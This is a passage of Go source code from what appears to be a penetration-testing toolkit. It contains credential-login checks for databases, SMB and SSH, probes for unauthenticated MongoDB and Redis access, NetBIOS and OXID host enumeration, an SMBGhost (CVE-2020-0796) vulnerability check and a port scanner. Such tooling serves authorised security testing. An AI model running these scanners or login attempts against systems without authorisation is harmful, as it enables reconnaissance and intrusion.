9 | "strings"
10 | "time"
11 | )
12 |
13 | func MongoAuth(info config.ServiceConn, user, pass string) (*mgo.Session, bool, error) {
14 |
15 | conf := &mgo.DialInfo{
16 | Dial: func(addr net.Addr) (net.Conn, error) {
17 | return net.DialTimeout("tcp", addr.String(), info.Timeout)
18 | },
19 | Addrs: []string{fmt.Sprintf("%s:%d", info.Hostname, info.Port)},
20 | Timeout: info.Timeout,
21 | Database: "test",
22 | Source: "admin",
23 | Username: user,
24 | Password: pass,
25 | PoolLimit: 4096,
26 | Direct: false,
27 | }
28 | db, err := mgo.DialWithInfo(conf)
29 | if err == nil {
30 | err = db.Ping()
31 | if err != nil {
32 | return nil, false, err
33 | }
34 | return db, true, nil
35 | }
36 | return nil, false, err
37 | }
38 |
39 | func MongoUnAuth(info config.ServiceConn, user, pass string) (bool, error) {
40 | var flag = false
41 | data1 := []byte{58, 0, 0, 0, 167, 65, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 255, 255, 255, 255, 19, 0, 0, 0, 16, 105, 115, 109, 97, 115, 116, 101, 114, 0, 1, 0, 0, 0, 0}
42 | data2 := []byte{72, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 1, 0, 0, 0, 33, 0, 0, 0, 2, 103, 101, 116, 76, 111, 103, 0, 16, 0, 0, 0, 115, 116, 97, 114, 116, 117, 112, 87, 97, 114, 110, 105, 110, 103, 115, 0, 0}
43 | connString := fmt.Sprintf("%s:%v", info.Hostname, info.Port)
44 | conn, err := net.DialTimeout("tcp", connString, info.Timeout)
45 | defer func() {
46 | if conn != nil {
47 | conn.Close()
48 | }
49 | }()
50 | if err != nil {
51 | return false, err
52 | }
53 | err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.Timeout)))
54 | if err != nil {
55 | return false, err
56 | }
57 | _, err = conn.Write(data1)
58 | if err != nil {
59 | return false, err
60 | }
61 | reply := make([]byte, 1024)
62 | count, err := conn.Read(reply)
63 | if err != nil {
64 | return false, err
65 | }
66 | text := string(reply[0:count])
67 | if strings.Contains(text, "ismaster") {
68 | _, err = conn.Write(data2)
69 | if err != nil {
70 | return false, err
71 | }
72 | count, err := conn.Read(reply)
73 | if err != nil {
74 | return false, err
75 | }
76 | text := string(reply[0:count])
77 | if strings.Contains(text, "totalLinesWritten") {
78 | flag = true
79 | logger.Success(fmt.Sprintf("Mongodb %v unauthorized", info.Hostname))
80 | }
81 | }
82 | return flag, nil
83 | }
84 |
--------------------------------------------------------------------------------
/core/plugin/mssql.go:
--------------------------------------------------------------------------------
1 | package plugin
2 |
3 | import (
4 | "Yasso/config"
5 | "Yasso/core/logger"
6 | "bytes"
7 | "database/sql"
8 | "encoding/hex"
9 | "fmt"
10 | _ "github.com/denisenkom/go-mssqldb"
11 | "net"
12 | "strconv"
13 | "time"
14 | )
15 |
16 | func MssqlConn(info config.ServiceConn, user, pass string) (*sql.DB, bool, error) {
17 | var flag = false
18 | db, err := sql.Open("mssql", fmt.Sprintf("sqlserver://%v:%v@%v:%v/?connection&timeout=%v&encrypt=disable", user, pass, info.Hostname, info.Port, info.Timeout))
19 | if err == nil {
20 | db.SetConnMaxLifetime(time.Duration(info.Timeout))
21 | db.SetConnMaxIdleTime(time.Duration(info.Timeout))
22 | db.SetMaxIdleConns(0)
23 | err = db.Ping()
24 | if err == nil {
25 | flag = true
26 | return db, flag, nil
27 | }
28 | }
29 | return db, flag, err
30 | }
31 |
32 | func VersionMssql(info config.ServiceConn) (bool, string) {
33 | conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%v", info.Hostname, info.Port), info.Timeout)
34 | if err != nil {
35 | return false, ""
36 | }
37 |
38 | msg := "\x12\x01\x00\x34\x00\x00\x00\x00\x00\x00\x15\x00\x06\x01\x00\x1b\x00\x01\x02\x00\x1c\x00\x0c\x03\x00\x28\x00\x04\xff\x08\x00\x01\x55\x00\x00\x02\x4d\x53\x53\x51\x4c\x53\x65\x72\x76\x65\x72\x00\x00\x00\x31\x32"
39 | _, err = conn.Write([]byte(msg))
40 | if err != nil {
41 | return false, ""
42 | }
43 | reply := make([]byte, 256)
44 | _, _ = conn.Read(reply)
45 | if conn != nil {
46 | _ = conn.Close()
47 | }
48 |
49 | var buffer [256]byte
50 | if bytes.Equal(reply[:], buffer[:]) {
51 | return false, ""
52 | } else if hex.EncodeToString(reply[0:4]) != "04010025" {
53 | return false, ""
54 | }
55 | v, status := getVersion(reply)
56 | if status {
57 | logger.Info(fmt.Sprintf("%s:%v [version:%v][mssql]", info.Hostname, info.Port, v))
58 | return true, fmt.Sprintf("%s:%v [version:%v]", info.Hostname, info.Port, v)
59 | }
60 | return false, ""
61 | }
62 |
63 | func getVersion(reply []byte) (string, bool) {
64 | m, err := strconv.ParseUint(hex.EncodeToString(reply[29:30]), 16, 32)
65 | if err != nil {
66 | return "", false
67 | }
68 | s, err := strconv.ParseUint(hex.EncodeToString(reply[30:31]), 16, 32)
69 | if err != nil {
70 | return "", false
71 | }
72 | r, err := strconv.ParseUint(hex.EncodeToString(reply[31:33]), 16, 32)
73 | if err != nil {
74 | return "", false
75 | }
76 | v := fmt.Sprintf("%d.%d.%d", m, s, r)
77 | return v, true
78 | }
79 |
--------------------------------------------------------------------------------
/core/plugin/mysql.go:
--------------------------------------------------------------------------------
1 | package plugin
2 |
3 | import (
4 | "Yasso/config"
5 | "database/sql"
6 | "fmt"
7 | _ "github.com/go-sql-driver/mysql"
8 | "time"
9 | )
10 |
11 | func MySQLConn(info config.ServiceConn, user, pass string) (*sql.DB, bool, error) {
12 | var flag = false
13 | address := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", user, pass, info.Hostname, info.Port, info.Timeout)
14 | db, err := sql.Open("mysql", address)
15 | if err == nil {
16 | db.SetConnMaxLifetime(time.Duration(info.Timeout))
17 | db.SetConnMaxIdleTime(time.Duration(info.Timeout))
18 | //defer db.Close()
19 | err = db.Ping()
20 | if err == nil {
21 | flag = true
22 | }
23 | }
24 | return db, flag, err
25 | }
26 |
--------------------------------------------------------------------------------
/core/plugin/nbns_test.go:
--------------------------------------------------------------------------------
1 | package plugin
2 |
3 | import "testing"
4 |
5 | func TestNbnsScanConn(t *testing.T) {
6 |
7 | }
8 |
--------------------------------------------------------------------------------
/core/plugin/nbnsscan.go:
--------------------------------------------------------------------------------
1 | package plugin
2 |
3 | import (
4 | "Yasso/core/logger"
5 | "bytes"
6 | "fmt"
7 | "net"
8 | "strconv"
9 | "strings"
10 | "time"
11 | )
12 |
13 | func NbnsScanConn(host string, port int, timeout time.Duration) (bool, string) {
14 | conn, err := net.DialTimeout("udp", fmt.Sprintf("%v:%v", host, port), timeout)
15 | if err != nil {
16 | return false, ""
17 | }
18 | msg := []byte{
19 | 0x0, 0x00, 0x0, 0x10, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x20, 0x43, 0x4b, 0x41, 0x41,
20 | 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
21 | 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x0, 0x0,
22 | 0x21, 0x0, 0x1,
23 | }
24 | _, err = conn.Write(msg)
25 | if err != nil {
26 | if conn != nil {
27 | _ = conn.Close()
28 | }
29 | return false, ""
30 | }
31 | reply := make([]byte, 256)
32 | err = conn.SetDeadline(time.Now().Add(time.Duration(timeout)))
33 | if err != nil {
34 | if conn != nil {
35 | _ = conn.Close()
36 | }
37 | return false, ""
38 | }
39 | _, _ = conn.Read(reply)
40 | if conn != nil {
41 | _ = conn.Close()
42 | }
43 |
44 | var buffer [256]byte
45 | if bytes.Equal(reply[:], buffer[:]) {
46 | return false, ""
47 | }
48 | /*
49 | Re: https://en.wikipedia.org/wiki/NetBIOS#NetBIOS_Suffixes
50 | For unique names:
51 | 00: Workstation Service (workstation name)
52 | 03: Windows Messenger service
53 | 06: Remote Access Service
54 | 20: File Service (also called Host Record)
55 | 21: Remote Access Service client
56 | 1B: Domain Master Browser – Primary Domain Controller for a domain
57 | 1D: Master Browser
58 | For group names:
59 | 00: Workstation Service (workgroup/domain name)
60 | 1C: Domain Controllers for a domain (group record with up to 25 IP addresses)
61 | 1E: Browser Service Elections
62 | */
63 | var n int
64 | NumberFoNames, _ := strconv.Atoi(convert([]byte{reply[56:57][0]}[:]))
65 | var flagGroup string
66 | var flagUnique string
67 | var flagDC string
68 |
69 | for i := 0; i < NumberFoNames; i++ {
70 | data := reply[n+57+18*i : n+57+18*i+18]
71 | if string(data[16:17]) == "\x84" || string(data[16:17]) == "\xC4" {
72 | if string(data[15:16]) == "\x1C" {
73 | flagDC = "Domain Controllers"
74 | }
75 | if string(data[15:16]) == "\x00" {
76 | flagGroup = nbnsByteToStringParse(data[0:16])
77 | }
78 | if string(data[14:16]) == "\x02\x01" {
79 | flagGroup = nbnsByteToStringParse(data[0:16])
80 | }
81 | } else if string(data[16:17]) == "\x04" || string(data[16:17]) == "\x44" || string(data[16:17]) == "\x64" {
82 | if string(data[15:16]) == "\x1C" {
83 | flagDC = "Domain Controllers"
84 | }
85 | if string(data[15:16]) == "\x00" {
86 | flagUnique = nbnsByteToStringParse(data[0:16])
87 | }
88 | if string(data[15:16]) == "\x20" {
89 | flagUnique = nbnsByteToStringParse(data[0:16])
90 | }
91 |
92 | }
93 | }
94 | if flagGroup == "" && flagUnique == "" {
95 | return false, ""
96 | }
97 |
98 | result := make(map[string]interface{})
99 | result["banner.string"] = flagGroup + "\\" + flagUnique
100 | result["identify.string"] = fmt.Sprintf("[%s]", logger.LightRed(flagDC))
101 | if len(flagDC) != 0 {
102 | result["identify.bool"] = true
103 | } else {
104 | result["identify.bool"] = false
105 | }
106 | if result["identify.bool"] == true {
107 | logger.Success(fmt.Sprintf("[%s] %v %v", fmt.Sprintf("%v:%v", host, port), result["banner.string"], result["identify.string"]))
108 | } else {
109 | logger.Success(fmt.Sprintf("[%s] %v", fmt.Sprintf("%v:%v", host, port), result["banner.string"]))
110 | }
111 |
112 | return true, fmt.Sprintf("%v", result["banner.string"])
113 | }
114 |
115 | func convert(b []byte) string {
116 | s := make([]string, len(b))
117 | for i := range b {
118 | s[i] = strconv.Itoa(int(b[i]))
119 | }
120 | return strings.Join(s, "")
121 | }
122 |
123 | func nbnsByteToStringParse(p []byte) string {
124 | var w []string
125 | var res string
126 | for i := 0; i < len(p); i++ {
127 | if p[i] > 32 && p[i] < 127 {
128 | w = append(w, string(p[i]))
129 | continue
130 | }
131 | }
132 | res = strings.Join(w, "")
133 | return res
134 | }
135 |
--------------------------------------------------------------------------------
/core/plugin/oxidscan.go:
--------------------------------------------------------------------------------
1 | package plugin
2 |
3 | import (
4 | "Yasso/core/logger"
5 | "bytes"
6 | "encoding/hex"
7 | "fmt"
8 | "net"
9 | "strings"
10 | "time"
11 | )
12 |
13 | func OxidScanConn(host string, port int, timeout time.Duration) (bool, string) {
14 | conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", host, port), timeout)
15 | if err != nil {
16 | return false, ""
17 | }
18 |
19 | msg1 := "\x05\x00\x0b\x03\x10\x00\x00\x00\x48\x00\x00\x00\x01\x00\x00\x00\xf8\x0f\xf8\x0f\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00\xc4\xfe\xfc\x99\x60\x52\x1b\x10\xbb\xcb\x00\xaa\x00\x21\x34\x7a\x00\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60\x02\x00\x00\x00"
20 | msg2 := "\x05\x00\x00\x03\x10\x00\x00\x00\x18\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00"
21 | _, err = conn.Write([]byte(msg1))
22 | if err != nil {
23 | return false, ""
24 | }
25 | reply1 := make([]byte, 256)
26 | _, _ = conn.Read(reply1)
27 |
28 | if hex.EncodeToString(reply1[0:8]) != "05000c0310000000" {
29 | return false, ""
30 | }
31 |
32 | _, err = conn.Write([]byte(msg2))
33 | if err != nil {
34 | return false, ""
35 | }
36 |
37 | reply2 := make([]byte, 512)
38 | _, _ = conn.Read(reply2)
39 | if conn != nil {
40 | _ = conn.Close()
41 | }
42 | c := 0
43 | zero := make([]byte, 1)
44 | var buffer bytes.Buffer
45 | result := make(map[string]string)
46 | for i := 0; i < len(reply2[42:]); {
47 | b := reply2[42:][i : i+2]
48 | i += 2
49 | if 42+i == len(reply2[42:]) {
50 | break
51 | }
52 | if string(b) == "\x09\x00" {
53 | break
54 | }
55 | if string(b) == "\x07\x00" {
56 | c += 1
57 | if c == 6 {
58 | break
59 | }
60 | buffer.Write([]byte("\x7C\x7C"))
61 | result["banner.string"] = strings.Join([]string{string(buffer.Bytes())}, ",")
62 | continue
63 | }
64 | if bytes.Equal(b[0:1], zero[0:1]) {
65 | continue
66 | }
67 | buffer.Write(b[0:1])
68 | result["banner.string"] = strings.Join([]string{string(buffer.Bytes())}, ",")
69 | if c == 6 {
70 | break
71 | }
72 | }
73 | if len(strings.Split(result["banner.string"], "||")) > 0 {
74 | logger.Success(strings.Split(result["banner.string"], "||"))
75 | }
76 | return true, fmt.Sprintf("%v", strings.Split(result["banner.string"], "||"))
77 | }
78 |
--------------------------------------------------------------------------------
/core/plugin/postgres.go:
--------------------------------------------------------------------------------
1 | package plugin
2 |
3 | import (
4 | "Yasso/config"
5 | "database/sql"
6 | "fmt"
7 | "time"
8 | )
9 |
10 | func PostgreConn(info config.ServiceConn, user, pass string) (bool, error) {
11 | var flag = false
12 | db, err := sql.Open("postgres", fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", user, pass, info.Hostname, info.Port, "postgres", "disable"))
13 | if err == nil {
14 | db.SetConnMaxLifetime(time.Duration(info.Timeout))
15 | defer db.Close()
16 | err = db.Ping()
17 | if err == nil {
18 | flag = true
19 | }
20 | }
21 | return flag, err
22 | }
23 |
--------------------------------------------------------------------------------
/core/plugin/ps.go:
--------------------------------------------------------------------------------
1 | package plugin
2 |
3 | import (
4 | "Yasso/core/logger"
5 | "fmt"
6 | "net"
7 | "sync"
8 | "time"
9 | )
10 |
11 | type Scanner struct {
12 | ports []int
13 | ip string
14 | scanChannel chan int
15 | thread int
16 | scan func(ip string, port int) bool
17 | }
18 |
19 | func NewRunner(ports []int, ip string, thread int, scan func(ip string, port int) bool) *Scanner {
20 | return &Scanner{
21 | ports: ports,
22 | ip: ip,
23 | scanChannel: make(chan int, 1000),
24 | thread: thread,
25 | scan: scan,
26 | }
27 | }
28 |
29 | func (s *Scanner) RunEnumeration() []int {
30 | var wg sync.WaitGroup
31 | var re []int
32 | for i := 0; i < s.thread; i++ {
33 | wg.Add(1)
34 | go func() {
35 | defer wg.Done()
36 | for p := range s.scanChannel {
37 | if s.scan(s.ip, p) {
38 | logger.Info(fmt.Sprintf("%v:%v is open", s.ip, p))
39 | re = append(re, p)
40 | }
41 | }
42 | }()
43 | }
44 | for _, p := range s.ports {
45 | s.scanChannel <- p
46 | }
47 | close(s.scanChannel)
48 | wg.Wait()
49 | return re
50 | }
51 |
52 | func tcpConn(ip string, port int) bool {
53 | conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", ip, port), 100*time.Millisecond)
54 | if err != nil {
55 | return false
56 | }
57 | conn.Close()
58 | return true
59 | }
60 |
61 | //TODO: 暂定,目前还没有syn扫描方式
62 | func synConn(ip string, port int) bool {
63 | return true
64 | }
65 |
--------------------------------------------------------------------------------
/core/plugin/redis.go:
--------------------------------------------------------------------------------
1 | package plugin
2 |
3 | import (
4 | "Yasso/config"
5 | "Yasso/core/logger"
6 | "fmt"
7 | "net"
8 | "strings"
9 | "time"
10 | )
11 |
12 | func RedisAuthConn(info config.ServiceConn, user, pass string) (net.Conn, bool, error) {
13 | var flag = false
14 | conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%v", info.Hostname, info.Port), info.Timeout)
15 | if err != nil {
16 | return conn, false, err
17 | }
18 | err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.Timeout)))
19 | if err != nil {
20 | return conn, false, err
21 | }
22 | // 认证
23 | _, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass)))
24 | if err != nil {
25 | return conn, false, err
26 | }
27 | reply, err := RedisReply(conn)
28 | if err != nil {
29 | return conn, false, err
30 | }
31 | if strings.Contains(reply, "+OK") {
32 | flag = true
33 | dbfilename := redisInfo(conn, reply)
34 | logger.Info(fmt.Sprintf("Redis %s:%v Login Success dbfilename:[%v]", info.Hostname, info.Port, dbfilename))
35 | }
36 | return conn, flag, nil
37 | }
38 |
39 | func RedisUnAuthConn(info config.ServiceConn, user, pass string) (net.Conn, bool, error) {
40 | _, _ = user, pass
41 | var flag = false
42 | conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%v", info.Hostname, info.Port), info.Timeout)
43 | if err != nil {
44 | return conn, false, err
45 | }
46 | err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.Timeout)))
47 | if err != nil {
48 | return conn, false, err
49 | }
50 | _, err = conn.Write([]byte("info\r\n"))
51 | if err != nil {
52 | return conn, false, err
53 | }
54 | reply, err := RedisReply(conn)
55 | if err != nil {
56 | return conn, false, err
57 | }
58 | if strings.Contains(reply, "redis_version") {
59 | flag = true
60 | dbfilename := redisInfo(conn, reply)
61 | logger.Success(fmt.Sprintf("Redis %s:%v unauthorized dbfilename:[%v] ", info.Hostname, info.Port, dbfilename))
62 | }
63 | return conn, flag, nil
64 | }
65 |
66 | func RedisReply(conn net.Conn) (string, error) {
67 | var (
68 | r string
69 | err error
70 | )
71 | buf := make([]byte, 5*1024)
72 | for {
73 | count, err := conn.Read(buf)
74 | if err != nil {
75 | break
76 | }
77 | r += string(buf[0:count])
78 | if count < 5*1024 {
79 | break
80 | }
81 | }
82 | return r, err
83 | }
84 |
85 | func redisInfo(conn net.Conn, reply string) string {
86 | var (
87 | dbfilename string
88 | )
89 | // 读取filename
90 | _, err := conn.Write([]byte(fmt.Sprintf("CONFIG GET dbfilename\r\n")))
91 | if err != nil {
92 | return ""
93 | }
94 | text, err := RedisReply(conn)
95 | if err != nil {
96 | return ""
97 | }
98 | text1 := strings.Split(text, "\r\n")
99 | if len(text1) > 2 {
100 | dbfilename = text1[len(text1)-2]
101 | } else {
102 | dbfilename = text1[0]
103 | }
104 | return dbfilename
105 | }
106 |
--------------------------------------------------------------------------------
/core/plugin/rmi.go:
--------------------------------------------------------------------------------
1 | package plugin
2 |
3 | import (
4 | "Yasso/config"
5 | "Yasso/core/logger"
6 | "bytes"
7 | "encoding/hex"
8 | "fmt"
9 | "net"
10 | "strings"
11 | )
12 |
13 | // RMIConn 识别rmi服务方式
14 | func RMIConn(info config.ServiceConn, user, pass string) bool {
15 | conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), info.Timeout)
16 | if err != nil {
17 | return false
18 | }
19 | msg := "\x4a\x52\x4d\x49\x00\x02\x4b"
20 | _, err = conn.Write([]byte(msg))
21 | if err != nil {
22 | return false
23 | }
24 | reply := make([]byte, 256)
25 | _, _ = conn.Read(reply)
26 | if conn != nil {
27 | _ = conn.Close()
28 | }
29 | var buffer [256]byte
30 | if bytes.Equal(reply[:], buffer[:]) {
31 | return false
32 | } else if hex.EncodeToString(reply[0:1]) != "4e" {
33 | return false
34 | }
35 | // 这里解析出字符串
36 | banner := byteToString(reply)
37 | logger.Success(fmt.Sprintf("%v [%v]", fmt.Sprintf("%v:%v", info.Hostname, info.Port), banner))
38 | return true
39 | }
40 |
41 | func byteToString(p []byte) string {
42 | var w []string
43 | var res string
44 | for i := 0; i < len(p); i++ {
45 | if p[i] > 32 && p[i] < 127 {
46 | w = append(w, string(p[i]))
47 | continue
48 | }
49 | asciiTo16 := fmt.Sprintf("\\x%s", hex.EncodeToString(p[i:i+1]))
50 | w = append(w, asciiTo16)
51 | }
52 | res = strings.Join(w, "")
53 | if strings.Contains(res, "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00") {
54 | s := strings.Split(res, "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00")
55 | return s[0]
56 | }
57 | return res
58 | }
59 |
--------------------------------------------------------------------------------
/core/plugin/smb.go:
--------------------------------------------------------------------------------
1 | package plugin
2 |
3 | import (
4 | "Yasso/config"
5 | "errors"
6 | "github.com/stacktitan/smb/smb"
7 | "time"
8 | )
9 |
10 | func SmbConn(info config.ServiceConn, user, pass string) (bool, error) {
11 | signal := make(chan struct{})
12 | var (
13 | flag bool
14 | err error
15 | )
16 | go func() {
17 | flag, err = dialSmbTimeOut(info, user, pass, signal)
18 | }()
19 | select {
20 | case <-signal:
21 | return flag, err
22 | case <-time.After(1 * time.Second):
23 | return false, errors.New("smb conn time out")
24 | }
25 | }
26 |
27 | func dialSmbTimeOut(info config.ServiceConn, user, pass string, signal chan struct{}) (bool, error) {
28 | var flag = false
29 | options := smb.Options{
30 | Host: info.Hostname,
31 | Port: 445,
32 | User: user,
33 | Password: pass,
34 | Domain: info.Domain,
35 | Workstation: "",
36 | }
37 | session, err := smb.NewSession(options, false)
38 | if err == nil {
39 | session.Close()
40 | if session.IsAuthenticated {
41 | flag = true
42 | }
43 | }
44 | signal <- struct{}{}
45 | return flag, err
46 | }
47 |
--------------------------------------------------------------------------------
/core/plugin/smbghost.go:
--------------------------------------------------------------------------------
1 | package plugin
2 |
3 | import (
4 | "Yasso/config"
5 | "Yasso/core/logger"
6 | "bytes"
7 | "fmt"
8 | "net"
9 | "time"
10 | )
11 |
12 | const (
13 | pkt = "\x00" + // session
14 | "\x00\x00\xc0" + // legth
15 |
16 | "\xfeSMB@\x00" + // protocol
17 |
18 | //[MS-SMB2]: SMB2 NEGOTIATE Request
19 | //https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e14db7ff-763a-4263-8b10-0c3944f52fc5
20 |
21 | "\x00\x00" +
22 | "\x00\x00" +
23 | "\x00\x00" +
24 | "\x00\x00" +
25 | "\x1f\x00" +
26 | "\x00\x00\x00\x00" +
27 | "\x00\x00\x00\x00" +
28 | "\x00\x00\x00\x00" +
29 | "\x00\x00\x00\x00" +
30 | "\x00\x00\x00\x00" +
31 | "\x00\x00\x00\x00" +
32 | "\x00\x00\x00\x00" +
33 | "\x00\x00\x00\x00" +
34 | "\x00\x00\x00\x00" +
35 | "\x00\x00\x00\x00" +
36 | "\x00\x00\x00\x00" +
37 | "\x00\x00\x00\x00" +
38 |
39 | // [MS-SMB2]: SMB2 NEGOTIATE_CONTEXT
40 | // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/15332256-522e-4a53-8cd7-0bd17678a2f7
41 |
42 | "$\x00" +
43 | "\x08\x00" +
44 | "\x01\x00" +
45 | "\x00\x00" +
46 | "\x7f\x00\x00\x00" +
47 | "\x00\x00\x00\x00" +
48 | "\x00\x00\x00\x00" +
49 | "\x00\x00\x00\x00" +
50 | "\x00\x00\x00\x00" +
51 | "x\x00" +
52 | "\x00\x00" +
53 | "\x02\x00" +
54 | "\x00\x00" +
55 | "\x02\x02" +
56 | "\x10\x02" +
57 | "\x22\x02" +
58 | "$\x02" +
59 | "\x00\x03" +
60 | "\x02\x03" +
61 | "\x10\x03" +
62 | "\x11\x03" +
63 | "\x00\x00\x00\x00" +
64 |
65 | // [MS-SMB2]: SMB2_PREAUTH_INTEGRITY_CAPABILITIES
66 | // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5a07bd66-4734-4af8-abcf-5a44ff7ee0e5
67 |
68 | "\x01\x00" +
69 | "&\x00" +
70 | "\x00\x00\x00\x00" +
71 | "\x01\x00" +
72 | "\x20\x00" +
73 | "\x01\x00" +
74 | "\x00\x00\x00\x00" +
75 | "\x00\x00\x00\x00" +
76 | "\x00\x00\x00\x00" +
77 | "\x00\x00\x00\x00" +
78 | "\x00\x00\x00\x00" +
79 | "\x00\x00\x00\x00" +
80 | "\x00\x00\x00\x00" +
81 | "\x00\x00\x00\x00" +
82 | "\x00\x00" +
83 |
84 | // [MS-SMB2]: SMB2_COMPRESSION_CAPABILITIES
85 | // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/78e0c942-ab41-472b-b117-4a95ebe88271
86 |
87 | "\x03\x00" +
88 | "\x0e\x00" +
89 | "\x00\x00\x00\x00" +
90 | "\x01\x00" + //CompressionAlgorithmCount
91 | "\x00\x00" +
92 | "\x01\x00\x00\x00" +
93 | "\x01\x00" + //LZNT1
94 | "\x00\x00" +
95 | "\x00\x00\x00\x00"
96 | )
97 |
98 | func SmbGhostConn(info config.ServiceConn) bool {
99 | conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%v", info.Hostname, info.Port), info.Timeout)
100 | if err != nil {
101 | return false
102 | } else {
103 | defer conn.Close()
104 | conn.Write([]byte(pkt))
105 | buff := make([]byte, 1024)
106 | err = conn.SetReadDeadline(time.Now().Add(2 * time.Second))
107 | n, err := conn.Read(buff)
108 | if err != nil {
109 | //Println(err.Error()) // Profound analysis
110 | }
111 |
112 | if bytes.Contains([]byte(buff[:n]), []byte("Public")) == true {
113 | logger.Success(fmt.Sprintf("%s Find CVE-2020-0796", info.Hostname))
114 | return true
115 | } else {
116 | //Println(ip + " Not Vulnerable")
117 | return false
118 | }
119 | }
120 | }
121 |
--------------------------------------------------------------------------------
/core/plugin/ssh.go:
--------------------------------------------------------------------------------
1 | package plugin
2 |
3 | import (
4 | "Yasso/config"
5 | "Yasso/core/logger"
6 | "Yasso/core/utils"
7 | "bytes"
8 | "fmt"
9 | "golang.org/x/crypto/ssh"
10 | "io/ioutil"
11 | "net"
12 | "os"
13 | "path"
14 | "regexp"
15 | "strings"
16 | "time"
17 | )
18 |
19 | func SshConnByUser(info config.ServiceConn, user, pass string) (*ssh.Client, bool, error) {
20 | sshConfig := &ssh.ClientConfig{User: user, Auth: []ssh.AuthMethod{ssh.Password(pass)}, HostKeyCallback: ssh.InsecureIgnoreHostKey(), Timeout: info.Timeout}
21 | con, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), info.Timeout)
22 | if err != nil {
23 | return nil, false, err
24 | }
25 | c, ch, re, err := ssh.NewClientConn(con, fmt.Sprintf("%v:%v", info.Hostname, info.Port), sshConfig)
26 | if err != nil {
27 | return nil, false, err
28 | }
29 | return ssh.NewClient(c, ch, re), true, err
30 | }
31 |
32 | func SshConnByKey(info config.ServiceConn, user string) (*ssh.Client, bool, error) {
33 | var (
34 | err error
35 | HomePath string
36 | key []byte
37 | )
38 | switch {
39 | case info.PublicKey == "":
40 | HomePath, err = os.UserHomeDir()
41 | if err != nil {
42 | return nil, false, err
43 | }
44 | key, err = ioutil.ReadFile(path.Join(HomePath, ".ssh", "id_rsa"))
45 | if err != nil {
46 | return nil, false, err
47 | }
48 | case info.PublicKey != "":
49 | key, err = ioutil.ReadFile(info.PublicKey)
50 | if err != nil {
51 | return nil, false, err
52 | }
53 | }
54 | signer, err := ssh.ParsePrivateKey(key)
55 | if err != nil {
56 | return nil, false, err
57 | }
58 | sshConfig := &ssh.ClientConfig{
59 | User: user,
60 | Auth: []ssh.AuthMethod{
61 | ssh.PublicKeys(signer),
62 | },
63 | Timeout: info.Timeout,
64 | HostKeyCallback: ssh.InsecureIgnoreHostKey(),
65 | }
66 | con, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), info.Timeout)
67 | if err != nil {
68 | return nil, false, err
69 | }
70 |
71 | c, ch, re, err := ssh.NewClientConn(con, fmt.Sprintf("%v:%v", info.Hostname, info.Port), sshConfig)
72 | if err != nil {
73 | return nil, false, err
74 | }
75 | return ssh.NewClient(c, ch, re), true, err
76 | }
77 |
78 | func VersionSSH(info config.ServiceConn) string {
79 | buff, err := sshConn(info)
80 | if err != nil {
81 | logger.Fatal(fmt.Sprintf("%s ssh conn has an error", info.Hostname))
82 | return ""
83 | }
84 | ok, _ := regexp.Match(`^SSH.\d`, buff)
85 | str := utils.ByteToStringParse(buff)
86 | if ok {
87 | logger.Info(fmt.Sprintf("%s:%v [%v]", info.Hostname, info.Port, strings.Split(str, "\\x0d\\x0a")[0]))
88 | return fmt.Sprintf("%s:%v [%v]", info.Hostname, info.Port, strings.Split(str, "\\x0d\\x0a")[0])
89 | }
90 | return ""
91 | }
92 |
93 | // sshConn 连接到tcp
94 | func sshConn(info config.ServiceConn) ([]byte, error) {
95 | conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), time.Duration(info.Timeout))
96 | if err != nil {
97 | return nil, err
98 | }
99 | _ = conn.SetDeadline(time.Now().Add(time.Duration(2) * time.Second))
100 | reply := make([]byte, 256)
101 | _, err = conn.Read(reply)
102 |
103 | var buffer [256]byte
104 | if err == nil && bytes.Equal(reply[:], buffer[:]) == false {
105 | if conn != nil {
106 | _ = conn.Close()
107 | }
108 | return reply, nil
109 | }
110 | conn, err = net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), time.Duration(info.Timeout))
111 | if err != nil {
112 | return nil, err
113 | }
114 | msg := "GET /test HTTP/1.1\r\n\r\n"
115 | _, err = conn.Write([]byte(msg))
116 | if err != nil {
117 | return nil, err
118 | }
